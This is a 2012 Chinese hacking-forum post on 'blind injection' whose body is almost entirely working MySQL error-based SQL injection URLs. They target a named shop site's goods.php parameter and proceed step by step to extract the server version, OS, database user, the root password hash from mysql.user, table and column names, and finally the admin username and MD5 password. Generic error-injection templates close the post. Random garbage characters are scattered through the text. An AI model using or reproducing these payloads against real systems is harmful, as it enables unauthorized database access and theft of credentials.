找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2127|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 9 G  P- c9 t) o6 r/ Q! |1 R4 J( [
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23/ _7 f' n7 |! f! K

1 T) @8 ^0 r- k& c4 `" T6 u判断系统) b$ e8 _/ S0 [. i7 R

! L, o, |+ l8 }, A$ ahttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 I! J  [3 d# F$ ?/ h0 g! {5 L

8 o9 B  P' i; ]3 j6 N. r
* @. v) W+ J# G. t+ Z
) W- M- ]6 H6 X* j1 a  z当前 user()3 t( L7 U+ |8 H3 ]5 y
9 T; [6 }0 k% G) z4 n
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 @7 [$ X7 T/ E$ t- A

* u1 S1 L# v- S1 k- K" ^2 b7 j1 }
( P1 T% m/ N, F! u4 E0 o; G' }. I3 v) h3 y3 @
当前 database()6 a  F- w! k: o9 V
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
0 F& u8 L$ T3 O2 D  G6 m. k9 x7 y- }$ ^5 w: e
. T( [& v6 b. \

, X* X+ Z" P: E6 K1 x# z- o* s+ X1 g! d  u
root hash
0 f! |* K2 L* {% \/ V; g* U; _
2 G, \9 y* Q% Z4 b  jhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
+ g) g" v) G. b, I* P  G" @: ^! X2 `: H/ O7 [' |' ~' Q; B# |8 _

9 e4 L4 k/ X2 f4 S: T/ W8 M: c0 r0 g, P3 {- m
当前 数据库表名
0 e( A6 ?5 E9 u9 r$ q5 {  K9 X  V2 e, M* {* C( c
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23; s- m. F& C- v( k5 F/ H) g/ A4 W/ ^
' _$ O% B9 U% l( }
- }' s+ {; p7 o5 w) t

8 ]3 ?! t( n, S* a+ J, l当前 数据库 user_name 字段; R# d7 A! ?% @3 B& N1 X/ a

8 `3 ~) A6 _3 K+ W" k) Qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
" W% f1 R8 m8 ~. T4 u- ?9 `7 y
3 L' V' y; }- A$ `当前 数据库 字段 password' |8 t3 ^% f* r- ~$ h
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
# b% C4 g9 }( u0 D! s) x1 t# @* y6 I  c- u  U9 G3 [
: |/ N/ g8 W: a1 |4 S" M
3 D% r. D, R% L+ n0 ~% m
获得 admin passwd(md5)2 q8 z- A6 P- C8 R9 S$ d
8 ^: e0 Z4 _; D1 e
0 L. q/ i. v8 z2 [( z
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
9 m9 q- _8 u: \3 v& U5 o
* J# Y9 ]+ f3 X1 q; j& z) Y" `报错注射- `8 J) h; Z4 T4 S
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
# u+ x# g, z( }4 B: C/ z& ]$ K9 Y: J, V! Z( j- X0 N% m
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)! h+ o1 @, Z  _) i! D8 R
5 {! t4 g5 b1 `0 |
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表